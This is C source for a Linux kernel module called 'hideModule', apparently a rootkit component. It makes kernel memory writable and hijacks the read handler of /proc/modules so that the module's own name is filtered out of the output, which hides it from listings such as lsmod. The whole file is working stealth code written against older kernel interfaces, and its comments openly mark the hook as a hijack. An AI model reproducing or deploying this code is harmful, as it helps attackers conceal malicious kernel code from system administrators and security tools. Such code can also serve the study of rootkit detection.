/*
 *    Copyright (C) 2008  by  Alessandro Reina
 *
 *    This program is free software: you can redistribute it and/or modify
 *    it under the terms of the GNU General Public License as published by
 *    the Free Software Foundation, either version 3 of the License, or
 *    (at your option) any later version.
 *
 *    This program is distributed in the hope that it will be useful,
 *    but WITHOUT ANY WARRANTY; without even the implied warranty of
 *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *    GNU General Public License for more details.
 *
 *    You should have received a copy of the GNU General Public License
 *    along with this program.  If not, see <http://www.gnu.org/licenses/>.
 *
 *    e-mail: alessandro [dot] reina [at] gmail [dot] com
 */

#include <linux/module.h>			/* Needed by all modules */
#include <linux/kernel.h>			/* Needed for KERN_INFO */
#include <linux/proc_fs.h>		/* Needed for handling proc stuff */
#include <linux/mm.h>					/* Needed for changing permission */
#include <asm/cacheflush.h>		/* Needed for changing permission */
#include <asm/uaccess.h>			/* Needed for copy_to/from_user */
#include <linux/slab.h>

#define DRIVER_DESC	\
"Hiding modules"
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Alessandro Reina aka AdrenalineSoars");
MODULE_DESCRIPTION(DRIVER_DESC);
MODULE_SUPPORTED_DEVICE("Your brain");
MODULE_VERSION("1");

#define	MODULE_NAME 	"hideModule"

/* Required for proc stuff */
#define	MODULES_FILE_SIZE	51200

struct file_operations * o_fops;

short int flag_modules= 0;
/* data /proc/modules */
char moduleFile[MODULES_FILE_SIZE]= {0};

/* Function ptr */
ssize_t (*o_seq_read)(struct file *file, char __user *buf, size_t size, loff_t *ppos);

/* Prototypes */
char *strtok(char *s1, const char *s2);
char * remake_buffer(char *buffer, char *tofind, int ret);
struct proc_dir_entry *get_proc_entry(char *filename);
ssize_t wrap_seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos);

/* 
 * strtok libc implementation
 *
 * The  strtok()  function  parses a string into a sequence of tokens.  On
 * the first call to strtok() the string to be parsed should be  specified
 * in str.  In each subsequent call that should parse the same string, str
 * should be NULL. 
 *
 * Args:
 * 	- char *s1: parsed string
 * 	- char *s2: delim or pattern to search into s1
 *
 * Return:
 * 	The strtok() and strtok_r() functions return  a  pointer  to  the  next
 * 	token, or NULL if there are no more tokens.
 *
 * */
char *strtok(char *s1, const char *s2)
{
   char *begin, *end;
   static char *save = "";

   begin = s1 ? s1 : save;
   begin += strspn(begin, s2);
   if(*begin == '\0')
   {
      save = "";
      return (NULL);
   }
   end = begin + strcspn(begin, s2);
   if(*end != '\0')
      *end++ = '\0';
   save = end;
   return (begin);
}

/*
 *	Get the proc_dir_entry of the filename specified
 *
 *	Args:
 *		- char *filename: file to search (e.g. "/proc/modules")
 *
 *	Return:
 *		- pointer to entry found, or NULL if there are no entry
 */
struct proc_dir_entry *get_proc_entry(char *filename)
{
	struct proc_dir_entry *e=proc_root_fs;
	/* entry name is storend into e->name */
	while((e!=NULL) && (strcmp(e->name, filename)))
  	e= e->next;
	
	return e;
}


/*
 * Copy the buffer into a new buffer where there is no line that match with toFind.	
 *	
 * Args:
 * 	- char *buffer: buffer where searching for the pattern toFind
 * 	- char *toFind: pattern to search for
 * 	- int ret: size of buffer to read
 *
 * Return:
 *	- return a pointer to a new buffer where there is no line matching with toFind
 *	 	(remember to free it after you have finished!)
 *
 */
char * remake_buffer(char *buffer, char *tofind, int ret)
{
 	char *buf=NULL;
	char *str=NULL;
  char *bufcpy;
  char *copy;

  copy= kcalloc((ret+1), sizeof(char), GFP_KERNEL);
  if(!copy)
  {
    printk(KERN_ERR "kmalloc failed to allocate memory!\n");
    return NULL;
  }
  bufcpy= kcalloc(ret+1, sizeof(char), GFP_KERNEL);
  if(!bufcpy)
  {
    printk(KERN_ERR "kmalloc failed to allocate memory!\n");
    return NULL;
  }

  memcpy(bufcpy, buffer, ret);

  buf=strtok(bufcpy, "\n");
  do
  {
		if(buf!= NULL && !(str= strstr(buf, tofind)))
    {
    	strncat(copy, buf, strlen(buf));
      strncat(copy, "\n", strlen("\n"));
    }
  }while((buf=strtok(NULL, "\n")));

  kfree(bufcpy);

  return copy;
}

/*
 *
 * 	This is a wrapper function of the original seq_read operation used for reading from 
 *	/proc/modules. 
 *
 *	It read the whole file and removed the line matching the MODULE_NAME
 *	---> Hiding Module Name <---
 *
 *  seq_read -      ->read() method for sequential files.
 *  Args:
 *  	- struct file *file: the file to read from
 *  	- char __user buf: the buffer to read to
 *  	- size_t size: the maximum number of bytes to read
 *  	- loff_t ppos: the current position in the file
 *
 *	Ready-made ->f_op->read()
 *
 *	Return:
 *		the size read from the file
 */
ssize_t wrap_seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos)
{
	ssize_t ret=0;
  char *copy=NULL;

	/* if it's flagged but someone starts reading from 0, then unflag */
	if(flag_modules==1 && *ppos==0)
		flag_modules=0;

	ret= o_seq_read(file, buf, size, ppos);

	while(ret!=0 && flag_modules == 0)
  {
    strncat(moduleFile, buf, ret);
    ret= o_seq_read(file, buf, size, ppos);
  }

	if(flag_modules==0)
  {
		/* MODULE_NAME of what u wanna hide */
  	copy= remake_buffer(moduleFile, MODULE_NAME, strlen(moduleFile));
    if(copy_to_user(buf, copy, strlen(copy))!= 0)
		{
			printk(KERN_ERR "Error on copying a block of data into user space\n");
			return 0;
		}
    ret= strlen(copy);
    flag_modules=1;
    memset(moduleFile, 0, MODULES_FILE_SIZE);
	}
  else
  {
  	flag_modules=0;
    ret=0;
	}

  kfree(copy);
  return ret;
}

int init_module(void)
{	
	static struct proc_dir_entry *wrap_proc_entry= NULL;
	
	struct page *pg_proc_mod;
	pgprot_t prot;
	
	/* fix kernel permission */
	prot.pgprot= VM_READ|VM_WRITE|VM_EXEC; /* R-W-X */

	wrap_proc_entry= get_proc_entry("modules");
	if(wrap_proc_entry!=NULL)
	{
		printk(KERN_INFO "[*] - Loading hiding module\n");
		o_fops= (void*)wrap_proc_entry->proc_fops;
		/* fix kernel permission */
		pg_proc_mod= virt_to_page(o_fops);
		change_page_attr(pg_proc_mod, 1, prot);
    o_seq_read=  o_fops->read;

 	  /* replace old proc_fops ptr to the new one, hijacked! :D */
    o_fops->read= wrap_seq_read;
	}

  /* A non 0 return means init_module failed; module can't be loaded. */
	return 0;
}

void cleanup_module(void)
{
	/* restore proc_fops on /proc/modules entry */
	o_fops->read=o_seq_read;
	printk(KERN_INFO "[*] - Unloading hiding module\n");
}


